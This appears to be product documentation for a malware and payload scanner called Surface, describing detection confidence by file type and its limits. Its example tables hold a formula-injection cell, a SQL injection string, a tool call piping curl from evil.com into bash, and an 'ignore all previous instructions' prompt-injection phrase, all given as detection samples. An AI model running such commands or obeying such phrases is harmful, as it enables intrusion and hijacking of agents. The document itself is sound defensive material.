Docs / Surface / detection-coverage
Detection Coverage
An honest overview of what Surface catches, how confident the detection is, and where the limitations are. No scanner catches everything; understanding the boundaries helps you build the right defense-in-depth strategy.
Coverage travels with every verdict#
The table below is also machine-readable: every scan carries a coverage field saying which tier the file fell into — full, partial, or minimal — so code can weigh a verdict without consulting this page.
A minimal scan never returns Clean. It caps at Informational and carries a coverageNote explaining what is missing. Informational still means Allow, so the cap changes what Surface claims rather than what it blocks, and a real detection is never softened by it. See How much a verdict is worth for the field reference.
File upload detection#
Every uploaded file is analyzed by multiple engines in parallel: pattern matching, machine learning, threat intelligence feeds, and behavioral analysis. The combined result is stronger than any single engine.
| File type | Detection confidence | False positive risk |
|---|---|---|
| Executables (.exe, .dll) | Very high | Very low |
| Linux binaries (ELF) | Very high | Low |
| Office documents (.doc, .docx, .xls, .xlsx, .ppt) | Moderate | Low |
| PDFs | Moderate | Low |
| JavaScript (.js) | High (dedicated model) | Very low |
| Python (.py) | Moderate | Very low |
| PowerShell (.ps1) | Moderate | Low |
| Batch (.bat), VBScript (.vbs) | Moderate | Low |
| HTML (.html) | Moderate — no ML model, covered by rules (see below) | Very low |
| Shell scripts (.sh) | Moderate (no ML model — see note below) | Very low |
| Spreadsheets and CSV (.csv, .tsv, .xls*) | High for formula injection | Very low |
| PHP (.php) | Moderate | Very low |
| Other scripts and source (Ruby, Perl, Lua, Go, Rust, Java, TypeScript, etc.) | Moderate to high | Low to moderate |
| Archives (ZIP, RAR, 7z, tar) | High (each file inside is scanned individually; expansion ratio checked) | Low |
| Java bytecode (.class, .jar) | Low (see below) | Very low |
| Images, fonts, config files | Low (checked against known threats only) | Very low |
Java bytecode is our weakest format, and we would rather say so. There is no ML model for .class files, so they are checked against pattern rules alone. Measured against 150 real Java malware samples, detection was close to zero.
The reason is worth understanding, because it is not unique to Surface. Java malware is normally distributed as a JAR containing dozens of classes, and most of those classes — window layouts, data structures, helpers — are individually indistinguishable from any Java library. In one measured corpus, 83% of malicious class files contained no executable indicator at all: no process execution, no reflection, no encoded payload, no network calls. There is nothing in the file to detect. Rules aggressive enough to flag them would flag ordinary libraries too, and we would rather miss than do that.
JARs are unpacked and every entry scanned, so a JAR carrying a conventional dropper or an embedded executable is still caught. A pure-bytecode RAT usually is not. If you accept JAR or APK uploads, treat Surface as one layer and pair it with runtime controls.
What is measured vs best-effort. The detection rates we publish and stand behind are for native executables — Windows PE (.exe, .dll) and Linux ELF — measured against real malware held out from training. Those are the highest-frequency executable upload threats and where our numbers are strongest. JavaScript now has a dedicated model too, trained on real malicious JS against benign JS sampled from popular npm packages (including minified builds, so the model judges behavior rather than formatting); its strength is a very low false-positive rate on ordinary JavaScript, which is what an upload path needs. Every other format (documents, PDFs, other scripts, archives) is best-effort: caught by a combination of ML, pattern rules, threat feeds, and structural checks, and tuned above all to keep false positives near zero so it does not break ordinary uploads. Where we do not publish a per-format catch rate it is because we do not yet have an independently labeled corpus large enough to back one honestly — including for JavaScript, whose detection is measured against same-family samples and so is not quoted as a novel-malware rate.
ML coverage note. Scripts are covered by dedicated Python and JavaScript models plus a single combined script model that handles PowerShell, VBScript, batch, shell, and other recognized scripts. The per-language JavaScript, PowerShell, VBScript and batch models were all withdrawn in 2026-08 when the combined model beat them — but that verdict was made on a corpus whose benign JavaScript was mislabelled library code. Retrained in 2026-09 on real malicious JavaScript against benign JavaScript from popular npm packages, the dedicated JS model earns its place back: it matches the combined model's detection while cutting false positives on ordinary JavaScript sharply. PowerShell, VBScript and batch remain on the combined model until their corpora can rival it. Shell has the weakest signal of the covered types.
HTML is covered primarily by rules rather than a dedicated model, and that is a choice rather than a stopgap. Its threats are structural — a hidden iframe, an immediate offsite redirect, a script that decodes a payload before running it — and those are better matched exactly than estimated. Detection is narrower than a model would be, and does not drift.
Other languages (PHP, Ruby, Perl, Lua, Go, Rust, Java, TypeScript) have no dedicated training set and are deliberately skipped by the script classifier to avoid false positives. All of these are still scanned with YARA rules, IOC extraction, threat feeds, and static heuristics.
Threats that are not malware#
Several of the things most likely to arrive at an ordinary upload form contain no malicious code at all, so no malware model can see them. They are detected structurally instead — these are facts about a document rather than probabilities about it, which is why they carry no false-positive cost.
| Threat | What it catches | Example | |
|---|---|---|---|
| Spreadsheet formula injection | Cells that execute a command or reach the network when the file is opened in Excel or Sheets | `=cmd\ | ' /C calc'!A0` in a contact export |
| Decompression bombs | Archives that are small on disk and enormous once opened, which exhaust whatever unpacks them | A 50 KB zip declaring 52 MB | |
| Deceptive file types | An extension promising something inert over bytes that are an executable | A Windows program named invoice.pdf |
|
| Active content in markup | Hidden iframes, immediate offsite redirects, scripts that decode a payload at runtime | A zero-height iframe pointing at another host |
Each is deliberately narrow. A spreadsheet of ordinary formulas scores nothing — spreadsheets contain formulas, and treating that as a threat is how a scanner gets switched off. An archive must be implausible on both ratio and absolute expanded size, because legitimate repetitive data compresses extremely well. A .bin or .dat holding a program is what those names mean and is left alone. Visible, sized iframes and delayed or relative redirects are ordinary site behavior and do not match.
Payload scanning coverage#
When you scan text payloads (JSON, messages, tool calls), additional engines detect threats specific to API and agent communication:
| Threat | What it catches | Example | |
|---|---|---|---|
| Prompt injection | Jailbreaks, role overrides, instruction manipulation | "Ignore all previous instructions and..." | |
| Embedded code | Malicious scripts hidden inside messages, such as reverse shells, download commands, SQL injection patterns, and XSS payloads | A chat message containing a bash reverse shell, or a SQL union attack like ' OR '1'='1' -- |
|
| Credential exposure | API keys, tokens, private keys, passwords, credit card numbers | An AWS secret key in a request body | |
| Suspicious tool calls | Agent tool invocations that execute commands, write backdoors, or exfiltrate data | `{"tool":"execute","command":"curl evil.com \ | bash"}` |
| Malicious URLs | URLs matching known threat intelligence feeds found in payload text | A link to a known phishing or malware distribution site |
Normal, clean content (conversations, JSON data, code snippets, documentation) passes through without false alarms.
Evasion resistance#
Surface is continuously tested against common obfuscation and evasion techniques. Detection is pattern-based and ML-assisted, which means it catches known evasion methods and many variations. Determined attackers crafting entirely novel evasion methods may bypass detection.
What Surface catches well#
- Known malware families and their variants
- Modified files that changed their hash but kept malicious behavior (fuzzy matching)
- Malicious Office macros, document exploits, and template injection
- Obfuscated scripts designed to evade basic pattern matching
- Files containing known malicious URLs, IPs, or domains
- Malicious files hidden inside archives
- Prompt injection attempts in AI agent communication
- Credentials and secrets accidentally exposed in payloads
- Spreadsheet formulas that execute or exfiltrate when an export is opened
- Archives that expand implausibly, and files whose extension misrepresents them
- Hidden iframes and offsite redirects in uploaded markup
What Surface is honest about#
- Brand-new malware: if a sample has never been seen before and does not match any known pattern, it may get through. This is true of every scanner.
- Encrypted content: encrypted files and archives are flagged as suspicious, but the actual contents cannot be analyzed without decryption keys.
- Context-dependent threats: a seemingly harmless image or CSV might exploit a vulnerability specific to your application. Surface cannot know your app's attack surface.
- Sophisticated prompt injection: detection is pattern-based. A carefully crafted adversarial prompt designed specifically to evade detection may succeed.
Surface is a detection layer, not a guarantee. Use it as part of a defense-in-depth approach: validate file types on upload, enforce size limits, scan before processing, and keep scanned files isolated until cleared. No single tool replaces a layered security strategy.
Tendrl